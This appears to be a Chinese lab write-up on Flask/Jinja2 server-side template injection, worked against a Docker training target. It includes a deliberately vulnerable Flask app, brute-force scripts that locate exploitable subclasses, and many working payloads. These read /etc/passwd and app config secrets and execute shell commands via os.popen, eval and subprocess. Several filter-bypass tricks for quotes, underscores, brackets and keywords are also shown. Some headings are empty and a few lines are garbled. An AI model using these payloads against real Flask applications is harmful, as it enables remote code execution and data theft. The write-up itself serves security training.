wp wp ssti模板注入 达达 2025-05-27 2025-07-23 靶场 重庆橙子科技ssti靶场
开启靶场命令 sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c ‘/etc/rc.local; /bin/bash’
0x03 Python flask变量及方法 Flask变量规则 通过向规则参数添加变量部分 可以动态构建URL。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flaskapp = Flask(__name__) @app.route("/benben/<name>" ) def ben (name ): return "hello %s" % name @app.route('/int/<int:postID>' ) def id (postID ): return "hello %d" % postID @app.route('/rev/<float:revNo>' ) def revision (revNo ): return "hello %f" % revNo if __name__ == "__main__" : app.run(debug=True ,host='0.0.0.0' ,port=8081 )
Flask HTTP方法
index.html要保存在同目录的 “templates” 文件夹下
1 2 3 4 5 6 7 8 9 10 11 <html> <body> <form action ="http://127.0.0.1:5000/login" method="post"> <p>Enter Name:</p> <p><input type = "text" name="ben"></p> <p><input type ="submit" value="submit"/></p> </form> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask,redirect,url_for,request,render_template app=Flask(__name__) @app.route('/') def index(): return render_template("index.html") @app.route('/success/<name>') def success(name): return 'welcome %s' %name @app.route('/login',methods=['POST',"GET"]) def login(): if request.method == "POST": print(1) user=request.form['ben'] return redirect(url_for('success',name=user)) else: print(2) user=request.args.get('ben') return redirect(url_for('success',name=user)) if __name__=='__main__': app.run(debug=True)
0x04flask模板介绍 Flask模板
使用模板:使用静态的页面html展示动态的内容
视图函数的主要作用是生成请求的响应
render_template 加载html文件。默认文件路径在templates目录下
1 2 3 4 5 6 7 8 from flask import Flask,render_templateapp=Flask(__name__) @app.route("/" ) def index (): return render_template("index.html" ) if __name__=='__main__' : app.run(debug=True )
1 2 3 4 5 6 7 8 9 <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > <body > 模板html展示界面 </body > </head > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > <body > 模板html展示界面 <br > {{ my_str }} <br > {{ my_int }} </body > </head > </html >
1 2 3 4 5 6 7 8 9 10 from flask import Flask,render_template,requestapp=Flask(__name__) @app.route("/" ) def index (): my_str = request.args.get('ben' ) my_int = 12 return render_template("index.html" ,my_str=my_str,my_int=my_int) if __name__=='__main__' : app.run(debug=True )
这个可以单独显示 my_dict 里 name的值
render_template_string 用于渲染字符串,直接定义内容
这个就相当于把html与py结合了 直接写一个py代码 在py代码里渲染字符串
0x05模板注入漏洞介绍
1 2 3 4 5 6 7 8 9 10 from flask import Flask,request,render_template_stringapp=Flask(__name__) @app.route("/" ,methods=['GET' ] ) def index (): str = request.args.get('ben' ) html_str="<html><head></head><body>{{str}}</body></html>" return render_template_string(html_str,str =str ) if __name__=="__main__" : app.debug=True app.run('127.0.0.1' ,8080 )
上面无漏洞 下面有模板注入漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from importlib.resources import contentsimport timefrom flask import Flask,request,render_template_stringapp=Flask(__name__) @app.route("/" ,methods=['GET' ] ) def index (): str = request.args.get('ben' ) html_str=""" <html> <head></head> <body>{0} </body> </html> """ .format (str ) return render_template_string(html_str) if __name__=="__main__" : app.debug=True app.run('127.0.0.1' ,8080 )
SSTI
0x06python继承关系和魔术方法 python继承关系
1 2 3 4 5 6 class A :pass class B (A ):pass class C (B ):pass class D (B ):pass c=C() print (c.__class__.__mro__)
1 2 3 4 5 6 class A :pass class B (A ):pass class C (B ):pass class D (B ):pass c=C() print (c.__class__.__mro__[1 ].__subclasses__())
魔术方法 1 2 3 4 5 6 7 8 9 __class__ 查找当前类型的所属对象 __base__ 沿着父子类的关系往上走一个 __mro__ 查找当前类对象的所有继承类 __subclasses() 查找父类下的所有子类 __inir__ 查看类是否重载,重载是指程序在运行时已经加载好了这个模块到内存中如果出现warpper字眼,说明没有重载 __globals__ 函数会议字典的形式返回当前对象的全部全局变量 __builtins__ 提供对python的所有"内置"标识符的直接访问 eval()计算字符串表达式的值 popen()执行一个shell以运行命令来开启一个进程
检查漏洞 1 {{''.__class__.__base__.__subclasses__()}}
0x07SSTI常用注入模块利用上
文件读取 查找子类_frozen_importlib_external.FileLoader
1 <class '_frozen_importlib_external.FileLoader'>
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = input ('请输入url链接:' ) for i in range (500 ): data = {"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"]}}" } try : response = requests.post(url, data=data) if response.status_code == 200 : if '_frozen_importlib_external.FileLoader' in response.text: print (i) except : pass
FileLoader的利用
1 ["get_data"](0,"/etc/passwd")
调用get_data方法,传入参数0和文件路径
1 name={{''.__class__.__base__.__subclasses__()[79]['get_data'](0,'/etc/passwd')}}
读取配置文件下的flag
1 {{url_for.__globals__['current_app'].config.FLAG}}
1 {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
内建函数eval执行命令
1 2 3 4 5 6 7 8 9 10 11 12 import requests url = input('请输入url链接:') for i in range(500): data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"} try: response = requests.post(url, data=data) #print(response.text) if response.status_code == 200: if 'eval' in response.text: print(i) except: pass
payload:
1 name={{().__class__.__base__.__subclasses__()["117"].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
os模块执行命令 在其他函数中直接调用os模块
通过config,调用os
1 {{config.__class__.__init__}}.__globals__['os'].popen('whoami').read()}}
通过url_for,调用os
1 {{url_for}}.__globals__.os.popen('whoami').read()}}
lipsum
1 {{lipsum.__globals__.os.popen('ls').read()}}
在已经加载os模块的子类里直接调用os模块
1 {{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
1 {{self.__dict__._TemplateReference__context.keys()}} 可以查到一些可用的函数
1 name={{().__class__.__base__.__subclasses__()[426].__init__.__globals__.os.popen('id').read()}}
importlib类执行命令
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = input ('请输入url链接:' ) for i in range (500 ): data = {"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"]}}" } try : response = requests.post(url, data=data) if response.status_code == 200 : if '_frozen_importlib.BuiltinImporter' in response.text: print (i) except : pass
可以加载第三方库,使用load_module加载os
1 {{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
linecache函数执行命令
subprocess.Popen执行命令
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = input ('请输入url链接:' ) for i in range (500 ): data = {"name" :"{{().__class__.__base__.__subclasses__()[" +str (i)+"]}}" } try : response = requests.post(url, data=data) if response.status_code == 200 : if 'subprocess.Popen' in response.text: print (i) except : pass
1 {{().__class__.__base__.__subclasses__()[200]('ls /',shell=true,stdout=-1).communicate()[0].strip()}}
总结
0x08绕过过滤双大括号
是属于flask的控制语句,且以
结尾
可以通过在控制语句定义变量或者写循环,判断
1 code={%print("".__class__.__base__.__subclasses__()[117].__init__.globals__["popen"]("cat /etc/passwd").read()%}
0x09无回显ssti
0x10 getitem绕过中括S号过滤
1 2 3 code={{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /flag').read()}}
0x11request绕过单双引号过滤
1 code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.key](request.args.key2).read()}}
1 http://192.168.248.130:18080/flasklab/level/5?key=popen&key2=cat /flag
0x12过滤器绕过下划线过滤
1 code={{()|attr(request.args.key)|attr(request.args.key2)|attr(request.args.sub)()|attr(request.args.key4)(117)|attr(request.args.key5)|attr(request.args.key6)|attr(request.args.key4)('popen')('cat /flag')|attr('read')()}}
1 http://192.168.248.130:18080/flasklab/level/6?key=__class__&key2=__base__&sub=__subclasses__&key4=__getitem__&key5=__init__&key6=__globals__
0x13中括号绕过点过滤
0x13关键字过滤绕过
1 {%set a='__cla' %}}{%set b='ss__'%}{{''[a~b]}}
1 {%set a='__ssalc__'|reverse%}{{''[a]}}
0x15Length过滤器绕过数字过滤
1 {%set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length%}{{''.__class__.__base__.__subclasses__()[a]}}
1 {{''.__class__.__base__.__subclasses__()[a]}}
0x16config文件读取
1 {{url_for.__globals__['current_app'].config}}
1 {{get_flashed_messages.__globals__['current_app'].config}}
0x17,18混合过滤 dict()和join dict(): 用来创建一个字典
join: 将一个序列中的参数值拼接成字符串
1 {%set a=dict(benebn=1)%}{{a}}
创建字典a,键名为benben,键值1
1 {%set a=dict(__clas=1,ss=2)|join%}{{a}}
创建字典a,join把参数值拼接成字符串
获取符号 利用flask内置函数和对象获取符号
1 2 {% set ben=({}|select()|string())%}{{ben}} {% set ben=(lipsum|string)%}{{ben}}
获取下划线 空格也可以
1 {% set ben=(self|string())%}{{ben}} 获取空格
1 {% set ben=(app.__doc__|string)%}{{ben}}
获取百分号
1 2 3 {% set ben=(lipsum|string)|list%}{{ben}} {% set ben=(lipsum|string)|list%}{{ben[0]}}
0x19python debug pin码计算